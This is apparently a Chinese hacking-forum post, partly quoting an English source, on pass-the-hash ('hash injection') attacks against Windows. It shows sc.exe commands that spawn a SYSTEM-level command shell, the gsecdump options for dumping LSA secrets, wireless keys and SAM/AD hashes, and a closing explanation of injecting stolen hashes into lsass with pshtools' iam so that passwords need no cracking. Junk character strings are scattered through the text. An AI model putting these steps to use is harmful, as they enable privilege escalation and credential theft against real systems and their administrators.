HASH注入式攻击

admin

o get a DOS Prompt as NT system:

, }4 ?' U2 K; S' N6 i% d" xC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
, M3 P. f! X2 V7 E9 z0 W[SC] CreateService SUCCESS

[SC] StartService FAILED 1053:

C:\>sc delete shellcmdline
/ M1 y. W% j; H, M9 U$ `" }[SC] DeleteService SUCCESS

/ c, C, I+ c5 p& s" X  v: f/ C/ H! g1 K------------

Then in the new DOS window:

usage: gsecdump [options]

options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
0 y  `- T) e6 c2 b) @-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

3 h7 r4 P5 Z4 K提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
